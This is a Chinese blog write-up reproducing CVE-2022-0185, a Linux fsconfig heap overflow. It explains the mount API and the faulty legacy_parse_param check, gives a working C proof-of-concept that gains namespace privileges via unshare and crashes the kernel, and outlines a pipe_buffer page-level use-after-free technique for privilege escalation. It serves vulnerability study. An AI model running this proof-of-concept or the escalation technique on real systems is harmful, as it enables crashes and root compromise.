【CVE.0x09】CVE-2022-0185 漏洞复现及简要分析

本文最后更新于:2023年5月28日 上午

还是 mount 好

0x00.一切开始之前

CVE-2022-0185 是 2022 年初爆出来的一个位于 filesystem context 系统中的 fsconfig 系统调用中的一个堆溢出漏洞,对于有着 CAP_SYS_ADMIN 权限(或是开启了 unprivileged namespace)的攻击者而言其可以利用该漏洞完成本地提权,该漏洞获得了高达 8.4 的 CVSS 评分

发现漏洞的安全研究员的挖掘与利用过程参见这里,本文编写时也有一定参考

本文选择内核版本 5.4 进行分析,在开始分析之前,我们先来补充一些基础知识

Filesystem mount API 初探

参见知乎上的该系列文章

相信大家对于 Linux 下的文件系统的挂载都是非常熟悉—— mount 系统调用被用以将文件系统挂载到以 / 为根节点的文件树上,例如我们可以用如下命令挂载硬盘 /dev/sdb1/mnt/temp 目录下,之后就能在该目录下进行文件访问:

1
$ sudo mount /dev/sdb1 /mnt/temp

或是通过编写程序的方式使用裸的 mount 系统调用进行挂载:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#include <stdio.h>
#include <sys/mount.h>

int main(int argc, char **argv, char **envp)
{
if (argc < 4) {
puts("[-] Usage: moount {dev_path} {mount_point} {fs_type}")
}

if (mount(argv[1], argv[2], argv[3], 0, NULL)) {
printf("[x] Failed to mount %s at %s by file system type: %s!\n",
argv[1], argv[2], argv[3]);
} else {
printf("[+] Successful to mount %s at %s by file system type: %s.\n",
argv[1], argv[2], argv[3]);
}

return 0;
}

但是总有些人想搞个大新闻,以 AL Viro 为首的开发者认为旧的 mount 系统调用存在诸多漏洞与设计缺陷,于是决定重写一套新的 mount API,并成功被合并到内核主线,称之为 Filesystem Mount API

新的 mount API 将过去的一个简单的 mount 系统调用的功能拆分成了数个新的系统调用,对应不同的文件系统挂载阶段,于是乎现在 Linux 上有着两套并行的 mount API

👴的评价是闲着没事干可以去把村口大粪挑一下

Step.I - fsopen: 获取一个 filesystem context

还记得笔者以前说过的 Linux 中一切皆文件 的哲学吗,在新的 mount API 中也遵循了这样的哲学——如果说 open() 系统调用用以打开一个文件并提供一个文件描述符,那么 fsopen() 系统调用便用于打开一个文件系统,并提供一个”文件系统描述符“——称之为 **文件系统上下文**(filesystem context)

wait, it's all FILES

由于标准库中还未添加 new mount API 相关的代码,因此我们需要写 raw syscall 来进行相关的系统调用,例如我们可以使用如下代码打开一个空白的 ext4 文件系统上下文(需要 CAP_SYS_ADMIN 权限,或是开启了 unprivileged namespace 的情况下使用 unshare() 系统调用创建带有该权限的 namespace):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#include <sys/syscall.h>
#include <stdio.h>
#include <unistd.h>

#ifndef __NR_fsopen
#define __NR_fsopen 430
#endif

int fsopen(const char *fs_name, unsigned int flags)
{
return syscall(__NR_fsopen, fs_name, flags);
}

int main(int argc, char **argv, char **envp)
{
int fs_fd;

fs_fd = fsopen("ext4", 0);
if (fs_fd < 0) {
puts("[x] FAILED to fsopen!");
return -1;
}
printf("[+] Successfully get an ext4 filesystem context descriptor:%d\n", fs_fd);

return 0;
}

需要注意的是这里创建的是一个空白的文件系统上下文,并没有与任何实际设备或文件进行关联——这是我们需要在接下来的步骤中完成的配置

fsopen() in kernel

superblock、dentry 这类的 VFS 基础知识不在此处科普,请自行了解:)

在内核当中,fsopen() 系统调用的行为实际上对应创建的是一个 fs_context 结构体作为 filesystem context,创建一个对应的 file 结构体并分配一个文件描述符:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
/*
* 按名称打开文件系统以便于对其进行设置以挂载
*
* 我们被允许指定在哪个容器中打开文件系统,由此指示要使用哪一个命名空间
* (尤其是将哪个网络命名空间用于网络文件系统).
*/
SYSCALL_DEFINE2(fsopen, const char __user *, _fs_name, unsigned int, flags)
{
struct file_system_type *fs_type;//文件系统类型
struct fs_context *fc;//文件系统上下文
const char *fs_name;
int ret;

// capabilities 机制,检查对应【命名空间】是否有 CAP_SYS_ADMIN 权限
if (!ns_capable(current->nsproxy->mnt_ns->user_ns, CAP_SYS_ADMIN))
return -EPERM;

if (flags & ~FSOPEN_CLOEXEC)
return -EINVAL;

// 拷贝用户传入的文件系统名
fs_name = strndup_user(_fs_name, PAGE_SIZE);
if (IS_ERR(fs_name))
return PTR_ERR(fs_name);

// 按名称获取文件系统类型
fs_type = get_fs_type(fs_name);
kfree(fs_name);
if (!fs_type)
return -ENODEV;

// 创建文件系统上下文结构体
fc = fs_context_for_mount(fs_type, 0);
put_filesystem(fs_type);
if (IS_ERR(fc))
return PTR_ERR(fc);

fc->phase = FS_CONTEXT_CREATE_PARAMS;

// 分配 Logging buffer
ret = fscontext_alloc_log(fc);
if (ret < 0)
goto err_fc;

// 创建 file 结构体并分配文件描述符
return fscontext_create_fd(fc, flags & FSOPEN_CLOEXEC ? O_CLOEXEC : 0);

err_fc:
put_fs_context(fc);
return ret;
}

其中 fs_context 的具体定义如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
/*
* 用以保存在创建与重新配置一个 superblock 中的参数的文件系统上下文
*
* Superblock 的创建会填充到 ->root 中,重新配置需要该字段已经设置.
*
* 参见 Documentation/filesystems/mount_api.txt
*/
struct fs_context {
const struct fs_context_operations *ops;
struct mutex uapi_mutex; /* 用户空间访问的互斥锁 */
struct file_system_type *fs_type;
void *fs_private; /* 文件系统的上下文 */
void *sget_key;
struct dentry *root; /* root 与 superblock */
struct user_namespace *user_ns; /* 将要挂载的用户命名空间 */
struct net *net_ns; /* 将要挂载的网络1命名空间 */
const struct cred *cred; /* 挂载者的 credentials */
struct fc_log *log; /* Logging buffer */
const char *source; /* 源 (eg. 设备路径) */
void *security; /* Linux S&M 设置 */
void *s_fs_info; /* Proposed s_fs_info */
unsigned int sb_flags; /* Proposed superblock flags (SB_*) */
unsigned int sb_flags_mask; /* Superblock flags that were changed */
unsigned int s_iflags; /* OR'd with sb->s_iflags */
unsigned int lsm_flags; /* Information flags from the fs to the LSM */
enum fs_context_purpose purpose:8;
enum fs_context_phase phase:8; /* The phase the context is in */
bool need_free:1; /* 需要调用 ops->free() */
bool global:1; /* Goes into &init_user_ns */
};

fs_context 的初始化在 alloc_fs_context() 中完成,在 fsopen() 中对应的是 FS_CONTEXT_FOR_MOUNT

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
/**
* alloc_fs_context - 创建一个文件系统上下文.
* @fs_type: 文件系统类型.
* @reference: The dentry from which this one derives (or NULL)//想不出咋翻
* @sb_flags: Filesystem/superblock 标志位 (SB_*)
* @sb_flags_mask: @sb_flags 中可用的成员
* @purpose: 本次配置的目的.
*
* 打开一个文件系统并创建一个挂载上下文(mount context),挂载上下文被以对应的标志位进行初始化,
* 若从另一个 superblock (引自 @reference)进行 submount/automount,
* 则可能由从该 superblock 拷贝来的参数1(如命名空间).
*/
static struct fs_context *alloc_fs_context(struct file_system_type *fs_type,
struct dentry *reference,
unsigned int sb_flags,
unsigned int sb_flags_mask,
enum fs_context_purpose purpose)
{
int (*init_fs_context)(struct fs_context *);
struct fs_context *fc;
int ret = -ENOMEM;

// 分配 fs_context 结构体
fc = kzalloc(sizeof(struct fs_context), GFP_KERNEL);
if (!fc)
return ERR_PTR(-ENOMEM);

// 设置对应属性
fc->purpose = purpose;
fc->sb_flags = sb_flags;
fc->sb_flags_mask = sb_flags_mask;
fc->fs_type = get_filesystem(fs_type);
fc->cred = get_current_cred();
fc->net_ns = get_net(current->nsproxy->net_ns);

mutex_init(&fc->uapi_mutex);

// 由 purpose 设置对应的命名空间
switch (purpose) {
case FS_CONTEXT_FOR_MOUNT:
fc->user_ns = get_user_ns(fc->cred->user_ns);
break;
case FS_CONTEXT_FOR_SUBMOUNT:
fc->user_ns = get_user_ns(reference->d_sb->s_user_ns);
break;
case FS_CONTEXT_FOR_RECONFIGURE:
atomic_inc(&reference->d_sb->s_active);
fc->user_ns = get_user_ns(reference->d_sb->s_user_ns);
fc->root = dget(reference);
break;
}

/* TODO: 让所有的文件系统无条件支持这块 */
init_fs_context = fc->fs_type->init_fs_context;
if (!init_fs_context)
init_fs_context = legacy_init_fs_context;

// 初始化 fs_context
ret = init_fs_context(fc);
if (ret < 0)
goto err_fc;
fc->need_free = true;
return fc;

err_fc:
put_fs_context(fc);
return ERR_PTR(ret);
}

在完成了通用的初始化工作后,最终进行具体文件系统对应初始化工作的其实是调用 file_system_type 中的 init_fs_context 函数指针对应的函数完成的,这里我们可以看到对于未设置 init_fs_context 的文件系统类型而言其最终会调用 legacy_init_fs_context() 进行初始化,主要就是为 fs_context->fs_private 分配一个 legacy_fs_context 结构体,并将 fs_context 的函数表设置为 legacy_fs_context_ops

1
2
3
4
5
6
7
8
static int legacy_init_fs_context(struct fs_context *fc)
{
fc->fs_private = kzalloc(sizeof(struct legacy_fs_context), GFP_KERNEL);
if (!fc->fs_private)
return -ENOMEM;
fc->ops = &legacy_fs_context_ops;
return 0;
}

legacy_fs_context 结构体的定义如下,标识了一块指定长度与类型的缓冲区:

1
2
3
4
5
struct legacy_fs_context {
char *legacy_data; /* Data page for legacy filesystems */
size_t data_size;
enum legacy_fs_param param_type;
};

Step.II - fsconfig: 设置 filesystem context 的相关参数与操作

在完成了空白的文件系统上下文的创建之后,我们还需要对其进行相应的配置,以便于后续的挂载操作,这个配置的功能对应到的就是 fsconfig() 系统调用

fsconfig() 系统调用根据不同的 cmd 进行不同的操作,对于挂载文件系统而言其核心操作主要就是两个 cmd:

  • FSCONFIG_SET_STRING :设置不同的键值对参数
  • FSCONFIG_CMD_CREATE:获得一个 superblock 并创建一个 root entry

示例用法如下所示,这里创建了一个键值对 "source"=/dev/sdb1 表示文件系统源所在的设备名:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
#include <sys/syscall.h>
#include <stdio.h>
#include <unistd.h>
#include <linux/mount.h>

#ifndef __NR_fsopen
#define __NR_fsopen 430
#endif

#ifndef __NR_fsconfig
#define __NR_fsconfig 431
#endif

int fsopen(const char *fs_name, unsigned int flags)
{
return syscall(__NR_fsopen, fs_name, flags);
}

int fsconfig(int fsfd, unsigned int cmd, const char *key, const void *val, int aux)
{
return syscall(__NR_fsconfig, fsfd, cmd, key, val, aux);
}

int main(int argc, char **argv, char **envp)
{
int fs_fd;

fs_fd = fsopen("ext4", 0);
if (fs_fd < 0) {
puts("[x] FAILED to fsopen!");
return -1;
}
printf("[+] Successfully get an ext4 filesystem context descriptor:%d\n", fs_fd);

fsconfig(fs_fd, FSCONFIG_SET_STRING, "source", "/dev/sdb1", 0);
fsconfig(fs_fd, FSCONFIG_CMD_CREATE, NULL, NULL, 0);

return 0;
}

✳ fsconfig() in kernel

内核空间中的 fsconfig() 实现比较长,但主要就是根据 cmd 进行各种 switch,这里就不贴完整的源码了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
SYSCALL_DEFINE5(fsconfig,
int, fd,
unsigned int, cmd,
const char __user *, _key,
const void __user *, _value,
int, aux)
{
struct fs_context *fc;
struct fd f;
int ret;

struct fs_parameter param = {
.type = fs_value_is_undefined,
};

if (fd < 0)
return -EINVAL;

switch (cmd) {
case FSCONFIG_SET_FLAG:
// 主要是参数的各种检查
// ...
default:
return -EOPNOTSUPP;
}

// 获取文件描述符
f = fdget(fd);
if (!f.file)
return -EBADF;
ret = -EINVAL;
if (f.file->f_op != &fscontext_fops)
goto out_f;

// 获取 fs_context,存储在文件描述符的 private_data 字段
fc = f.file->private_data;
if (fc->ops == &legacy_fs_context_ops) {
switch (cmd) { // 一个操作都没实现
case FSCONFIG_SET_BINARY:
case FSCONFIG_SET_PATH:
case FSCONFIG_SET_PATH_EMPTY:
case FSCONFIG_SET_FD:
ret = -EOPNOTSUPP;
goto out_f;
}
}

// 拷贝 key 字段到内核空间
if (_key) {
param.key = strndup_user(_key, 256);
if (IS_ERR(param.key)) {
ret = PTR_ERR(param.key);
goto out_f;
}
}

// 根据不同的 cmd 进行 param 的不同设置
switch (cmd) {
// ...
// 我们主要关注这个 cmd
case FSCONFIG_SET_STRING:
param.type = fs_value_is_string;
param.string = strndup_user(_value, 256);
if (IS_ERR(param.string)) {
ret = PTR_ERR(param.string);
goto out_key;
}
param.size = strlen(param.string);
break;
// ...
default:
break;
}

ret = mutex_lock_interruptible(&fc->uapi_mutex);
if (ret == 0) { // 根据前面设置的 param 进行 VFS 相关操作
ret = vfs_fsconfig_locked(fc, cmd, &param);
mutex_unlock(&fc->uapi_mutex);
}

/* Clean up the our record of any value that we obtained from
* userspace. Note that the value may have been stolen by the LSM or
* filesystem, in which case the value pointer will have been cleared.
*/
switch (cmd) {
case FSCONFIG_SET_STRING:
// 临时数据清理工作
//...
default:
break;
}
out_key:
kfree(param.key);
out_f:
fdput(f);
return ret;
}

fsconfig() 的核心作用主要还是根据 cmd 进行参数的封装,最后进入到 VFS 中的操作则通过 vfs_fsconfig_locked() 完成

Step.III - fsmount: 获取一个挂载实例

完成了文件系统上下文的创建与配置,接下来终于来到文件系统的挂载操作了,fsmount() 系统调用用以获取一个可以被用以进行挂载的挂载实例,并返回一个文件描述符用以下一步的挂载

示例用法如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
#include <sys/syscall.h>
#include <stdio.h>
#include <unistd.h>
#include <linux/mount.h>

#ifndef __NR_fsopen
#define __NR_fsopen 430
#endif

#ifndef __NR_fsconfig
#define __NR_fsconfig 431
#endif

#ifndef __NR_fsmount
#define __NR_fsmount 432
#endif

int fsopen(const char *fs_name, unsigned int flags)
{
return syscall(__NR_fsopen, fs_name, flags);
}

int fsconfig(int fsfd, unsigned int cmd, const char *key, const void *val, int aux)
{
return syscall(__NR_fsconfig, fsfd, cmd, key, val, aux);
}

int fsmount(int fsfd, unsigned int flags, unsigned int ms_flags)
{
return syscall(__NR_fsmount, fsfd, flags, ms_flags);
}

int main(int argc, char **argv, char **envp)
{
int fs_fd, mount_fd;

fs_fd = fsopen("ext4", 0);
if (fs_fd < 0) {
puts("[x] FAILED to fsopen!");
return -1;
}
printf("[+] Successfully get an ext4 filesystem context descriptor:%d\n", fs_fd);

fsconfig(fs_fd, FSCONFIG_SET_STRING, "source", "/dev/sdb1", 0);
fsconfig(fs_fd, FSCONFIG_CMD_CREATE, NULL, NULL, 0);

mount_fd = fsmount(fs_fd, FSMOUNT_CLOEXEC, MOUNT_ATTR_RELATIME);

return 0;
}

Step.IV - move_mount: 将挂载实例在挂载点间移动

最后来到一个不统一以 fs 开头进行命名的 move_mount() 系统调用,其用以将挂载实例在挂载点间移动:

  • 对于尚未进行挂载的挂载实例而言,进行挂载的操作便是从空挂载点 "" 移动到对应的挂载点(例如 "/mnt/temp"),此时我们并不需要给出目的挂载点的 fd,而可以使用 AT_FDCWD

引入了 move_mount() 之后,我们最终的一个用以将 "/dev/sdb1""ext4" 文件系统挂载到 "/mnt/temp" 的完整示例程序如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
#include <sys/syscall.h>
#include <stdio.h>
#include <unistd.h>
#include <linux/mount.h>
#include <fcntl.h>

#ifndef __NR_fsopen
#define __NR_fsopen 430
#endif

#ifndef __NR_fsconfig
#define __NR_fsconfig 431
#endif

#ifndef __NR_fsmount
#define __NR_fsmount 432
#endif

#ifndef __NR_move_mount
#define __NR_move_mount 429
#endif

int fsopen(const char *fs_name, unsigned int flags)
{
return syscall(__NR_fsopen, fs_name, flags);
}

int fsconfig(int fsfd, unsigned int cmd, const char *key, const void *val, int aux)
{
return syscall(__NR_fsconfig, fsfd, cmd, key, val, aux);
}

int fsmount(int fsfd, unsigned int flags, unsigned int ms_flags)
{
return syscall(__NR_fsmount, fsfd, flags, ms_flags);
}

int move_mount(int from_dfd, const char *from_pathname,int to_dfd,
const char *to_pathname, unsigned int flags)
{
return syscall(__NR_move_mount, from_dfd, from_pathname, to_dfd, to_pathname, flags);
}

int main(int argc, char **argv, char **envp)
{
int fs_fd, mount_fd;

fs_fd = fsopen("ext4", 0);
if (fs_fd < 0) {
puts("[x] FAILED to fsopen!");
return -1;
}
printf("[+] Successfully get an ext4 filesystem context descriptor:%d\n", fs_fd);

fsconfig(fs_fd, FSCONFIG_SET_STRING, "source", "/dev/sdb1", 0);
fsconfig(fs_fd, FSCONFIG_CMD_CREATE, NULL, NULL, 0);

mount_fd = fsmount(fs_fd, FSMOUNT_CLOEXEC, MOUNT_ATTR_RELATIME);
move_mount(mount_fd, "", AT_FDCWD, "/mnt/temp", MOVE_MOUNT_F_EMPTY_PATH);

return 0;
}

这一套流程下来便是 new Filesystem mount API 的基本用法

0x01.漏洞分析

legacy_parse_param() - 整型溢出导致的越界拷贝

前面我们提到该漏洞发生于 fsconfig() 系统调用中,若我们给的 cmdFSCONFIG_SET_STRING,则在内核中存在如下调用链:

1
2
3
fsconfig()
vfs_fsconfig_locked()
vfs_parse_fs_param()

vfs_parse_fs_param() 中会调用 fs_context->ops->parse_param 函数指针:

1
2
3
4
5
6
7
8
9
10
11
int vfs_parse_fs_param(struct fs_context *fc, struct fs_parameter *param)
{
int ret;

//...

if (fc->ops->parse_param) {
ret = fc->ops->parse_param(fc, param);
if (ret != -ENOPARAM)
return ret;
}

前面我们讲到对于未设置 init_fs_context 的文件系统类型而言其最终会调用 legacy_init_fs_context() 进行初始化,其中 fs_context 的函数表会被设置为 legacy_fs_context_ops,其 parse_param 指针对应为 legacy_parse_param() 函数:

1
2
3
4
5
6
7
8
const struct fs_context_operations legacy_fs_context_ops = {
.free = legacy_fs_context_free,
.dup = legacy_fs_context_dup,
.parse_param = legacy_parse_param,
.parse_monolithic = legacy_parse_monolithic,
.get_tree = legacy_get_tree,
.reconfigure = legacy_reconfigure,
};

漏洞便发生在该函数中,在计算 len > PAGE_SIZE - 2 - size 时,由于 size 为 unsigned int ,若 size + 2 > PAGE_SIZE ,则 PAGE_SIZE - 2 - size 的结果会下溢为一个较大的无符号值,从而绕过 len 的检查,这里的 size 来源为 ctx->data_size,即已拷贝的总的数据长度

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
/*
* Add a parameter to a legacy config. We build up a comma-separated list of
* options.
*/
static int legacy_parse_param(struct fs_context *fc, struct fs_parameter *param)
{
struct legacy_fs_context *ctx = fc->fs_private;
unsigned int size = ctx->data_size; // 已拷贝的数据长度
size_t len = 0;

if (strcmp(param->key, "source") == 0) {
if (param->type != fs_value_is_string)
return invalf(fc, "VFS: Legacy: Non-string source");
if (fc->source)
return invalf(fc, "VFS: Legacy: Multiple sources");
fc->source = param->string;
param->string = NULL;
return 0;
}

if (ctx->param_type == LEGACY_FS_MONOLITHIC_PARAMS)
return invalf(fc, "VFS: Legacy: Can't mix monolithic and individual options");

// 计算 len
switch (param->type) {
case fs_value_is_string:// 对应 FSCONFIG_SET_STRING
len = 1 + param->size;
/* Fall through */
case fs_value_is_flag:
len += strlen(param->key);
break;
default:
return invalf(fc, "VFS: Legacy: Parameter type for '%s' not supported",
param->key);
}

// 此处存在整型溢出的漏洞,若 size + 2 大于一张页的大小则会上溢为一个较大的无符号整型,
// 导致此处通过检查,从而导致后续步骤中的越界拷贝
if (len > PAGE_SIZE - 2 - size)
return invalf(fc, "VFS: Legacy: Cumulative options too large");
if (strchr(param->key, ',') ||
(param->type == fs_value_is_string &&
memchr(param->string, ',', param->size)))
return invalf(fc, "VFS: Legacy: Option '%s' contained comma",
param->key);

在后面的流程中会从用户控件将数据拷贝到 ctx->legacy_data 上,而 ctx->legacy_data 仅分配了一张页面大小,但后续流程中的拷贝是从 ctx->legacy_data[size] 开始的,由于 size 可以大于一张页大小,因此此处可以发生数据数据写入,由于 ctx->legacy_data 在分配时使用的是通用的分配 flag GFP_KERNEL,因此可以溢出到绝大多数的常用结构体中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
	// 为 legacy_data 分配一张页的大小
if (!ctx->legacy_data) {
ctx->legacy_data = kmalloc(PAGE_SIZE, GFP_KERNEL);
if (!ctx->legacy_data)
return -ENOMEM;
}

ctx->legacy_data[size++] = ',';
len = strlen(param->key);
// size 可以大于一张页,但是 legacy_data 只有一张页,从而导致了越界拷贝
memcpy(ctx->legacy_data + size, param->key, len);
size += len;
if (param->type == fs_value_is_string) {
ctx->legacy_data[size++] = '=';
// size 可以大于一张页,但是 legacy_data 只有一张页,从而导致了越界拷贝
memcpy(ctx->legacy_data + size, param->string, param->size);
size += param->size;
}
ctx->legacy_data[size] = '\0';
ctx->data_size = size;
ctx->param_type = LEGACY_FS_INDIVIDUAL_PARAMS;
return 0;
}

这里需要注意的是,由于 fsconfig 的限制,我们单次写入的最大长度为 256 字节,因此我们需要多次调用 fsconfig 以让其逐渐逼近 PAGE_SIZE,而 len > PAGE_SIZE - 2 - size 的检查并非完全无效,由于 size 为已拷贝数据长度而 len 为待拷贝数据长度,因此只有当 size 累加到 4095 时才会发生整型溢出,这里我们在进行溢出前需要卡好已拷贝数据长度刚好为 4095

由于 legacy_parse_param() 中拷贝的结果形式为 ",key=val",故我们有如下计算公式:

  • 单次拷贝数据长度 = len(key) + len(val) + 2

下面笔者给出一个笔者自己计算的 4095:

1
2
3
4
5
6
7
8
/**
* fulfill the ctx->legacy_data to 4095 bytes,
* so that the (PAGE_SIZE - 2 - size) overflow
*/
for (int i = 0; i < 255; i++) {
fsconfig(fs_fd, FSCONFIG_SET_STRING, "arttnba", "arttnba", 0);
}
fsconfig(fs_fd, FSCONFIG_SET_STRING, "arttnba3", "pwnnn", 0);

Proof of Concept

由于大部分的文件系统类型都未设置 init_fs_context,因此最后都可以走到 legacy_parse_param() 的流程当中,例如 ext4 文件系统的 file_system_type 定义如下:

1
2
3
4
5
6
7
static struct file_system_type ext4_fs_type = {
.owner = THIS_MODULE,
.name = "ext4",
.mount = ext4_mount,
.kill_sb = kill_block_super,
.fs_flags = FS_REQUIRES_DEV,
};

这里我们将通过 ext4 文件系统进行漏洞复现,我们只需要越界写足够长的一块内存,通常都能写到一些内核结构体从而导致 kernel panic

需要注意的是 filesystem mount API 需要命名空间具有 CAP_SYS_ADMIN 权限,但由于其仅检查命名空间权限,故对于没有该权限的用户则可以通过 unshare(CLONE_NEWNS|CLONE_NEWUSER) 创建新的命名空间,以在新的命名空间内获取对应权限

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
#define _GNU_SOURCE 
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <linux/mount.h>
#include <unistd.h>
#include <fcntl.h>
#include <sched.h>
#include <sys/syscall.h>
#include <sys/mman.h>

#ifndef __NR_fsopen
#define __NR_fsopen 430
#endif

#ifndef __NR_fsconfig
#define __NR_fsconfig 431
#endif

int fsopen(const char *fs_name, unsigned int flags)
{
return syscall(__NR_fsopen, fs_name, flags);
}

int fsconfig(int fsfd, unsigned int cmd,
const char *key, const void *val, int aux)
{
return syscall(__NR_fsconfig, fsfd, cmd, key, val, aux);
}

void errExit(char *msg)
{
printf("\033[31m\033[1m[x] Error: %s\033[0m\n", msg);
exit(EXIT_FAILURE);
}

int main(int argc, char **argv, char **envp)
{
int fs_fd;

/* create new namespace to get CAP_SYS_ADMIN */
unshare(CLONE_NEWNS | CLONE_NEWUSER);

/* get a filesystem context */
fs_fd = fsopen("ext4", 0);
if (fs_fd < 0) {
errExit("FAILED to fsopen()!");
}

/**
* fulfill the ctx->legacy_data to 4095 bytes,
* so that the (PAGE_SIZE - 2 - size) overflow
*/
for (int i = 0; i < 255; i++) {
fsconfig(fs_fd, FSCONFIG_SET_STRING, "arttnba", "arttnba", 0);
}
fsconfig(fs_fd, FSCONFIG_SET_STRING, "arttnba3", "pwnnn", 0);

/* make an oob-write by fsconfig */
for (int i = 0; i < 0x4000; i++) {
fsconfig(fs_fd, FSCONFIG_SET_STRING, "arttnba3", "arttnba3", 0);
}

return 0;
}

运行,成功通过堆溢出造成 kernel panic:

image.png

0x02.漏洞利用

下面笔者给出两种利用方法,其中第二重尚未经过验证(不过理论上可行)

方法一、覆写 pipe_buffer 构造页级 UAF

虽然这篇博客写于 1 月,但是这个通用利用方法笔者最初公开于 4 月份的 D^3CTF2023-d3kcache 中,后面想了想用在这个漏洞上也是挺好的,所以现在给出一份使用该方法进行利用的 exp :)

Step.I - 利用 msg_msg 定位溢出位置

由于下次写入必定会向下一个对象内写入一个 '=' 和一个 '\0' ,而这个 '=' 就很不可爱,因此我们选择不直接利用与其相邻的第一个 4k 对象,而是覆写与其相邻的第二个 4k 对象,这样我们便能只向第二个 4k 对象内写入一个可爱的 \x00 :)

这里笔者选择首先堆喷 msg_msg,利用漏洞将 m_ts 改大,通过 MSG_COPY 读取检查被覆写的 msg_msg释放除了该 msg_msg 以外的其他 msg_msg

Step.II - fcntl(F_SETPIPE_SZ) 更改 pipe_buffer 所在 slub 大小,构造页级 UAF

接下来我们考虑溢出的目标对象,现在我们仅想要使用一个 \x00 字节完成利用,毫无疑问的是我们需要寻找一些在结构体头部便有指向其他内核对象的指针的内核对象,我们不难想到的是 pipe_buffer 是一个非常好的的利用对象,其开头有着指向 page 结构体的指针,而 page 的大小仅为 0x40 ,可以被 0x100 整除,若我们能够通过 partial overwrite 使得两个管道指向同一张页面,并释放掉其中一个,我们便构造出了页级的 UAF

original state

null-byte partial overwrite

page-level UAF

同时管道的特性还能让我们在 UAF 页面上任意读写,这真是再美妙不过了:)

但是有一个小问题,pipe_buffer 来自于 kmalloc-cg-1k ,其会请求 order-2 的页面,而漏洞对象大小为 4k,其会请求 order-3 的页面,如果我们直接进行不同 order 间的堆风水的话,则利用成功率会大打折扣 :(

但 pipe 可以被挖掘的潜力远比我们想象中大得多:)现在让我们重新审视 pipe_buffer 的分配过程,其实际上是单次分配 pipe_bufspipe_buffer 结构体:

1
2
3
4
5
6
struct pipe_inode_info *alloc_pipe_info(void)
{
//...

pipe->bufs = kcalloc(pipe_bufs, sizeof(struct pipe_buffer),
GFP_KERNEL_ACCOUNT);

这里注意到 pipe_buffer 不是一个常量而是一个变量,那么我们能否有方法修改 pipe_buffer 的数量?答案是肯定的,pipe 系统调用非常贴心地为我们提供了 F_SETPIPE_SZ 让我们可以重新分配 pipe_buffer 并指定其数量

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
long pipe_fcntl(struct file *file, unsigned int cmd, unsigned long arg)
{
struct pipe_inode_info *pipe;
long ret;

pipe = get_pipe_info(file, false);
if (!pipe)
return -EBADF;

__pipe_lock(pipe);

switch (cmd) {
case F_SETPIPE_SZ:
ret = pipe_set_size(pipe, arg);
//...

static long pipe_set_size(struct pipe_inode_info *pipe, unsigned long arg)
{
//...

ret = pipe_resize_ring(pipe, nr_slots);

//...

int pipe_resize_ring(struct pipe_inode_info *pipe, unsigned int nr_slots)
{
struct pipe_buffer *bufs;
unsigned int head, tail, mask, n;

bufs = kcalloc(nr_slots, sizeof(*bufs),
GFP_KERNEL_ACCOUNT | __GFP_NOWARN);

那么我们不难想到的是我们可以通过 fcntl() 重新分配单个 pipe 的 pipe_buffer 数量,

  • 对于每个 pipe 我们指定分配 64 个 pipe_buffer,从而使其向 kmalloc-cg-2k 请求对象,而这将最终向 buddy system 请求 order-3 的页面

由此,我们便成功使得 pipe_buffer 与题目模块的对象处在同一 order 的内存页上,从而提高 cross-cache overflow 的成功率

不过需要注意的是,由于 page 结构体的大小为 0x40,其可以被 0x100 整除,因此若我们所溢出的目标 page 的地址最后一个字节刚好为 \x00那就等效于没有溢出 ,因此实际上利用成功率仅为 75% (悲)

Step.III - 构造二级自写管道,实现任意内存读写

有了 page-level UAF,我们接下来考虑向这张页面分配什么结构体作为下一阶段的 victim object

由于管道本身便提供给我们读写的功能,而我们又能够调整 pipe_buffer 的大小并重新分配结构体,那么再次选择 pipe_buffer 作为 victim object 便是再自然不过的事情:)

image.png

接下来我们可以通过 UAF 管道读取 pipe_buffer 内容,从而泄露出 page、pipe_buf_operations 等有用的数据(可以在重分配前预先向管道中写入一定长度的内容,从而实现数据读取),由于我们可以通过 UAF 管道直接改写 pipe_buffer ,因此将漏洞转化为 dirty pipe 或许会是一个不错的办法(这也是本次比赛中 NU1L 战队的解法)

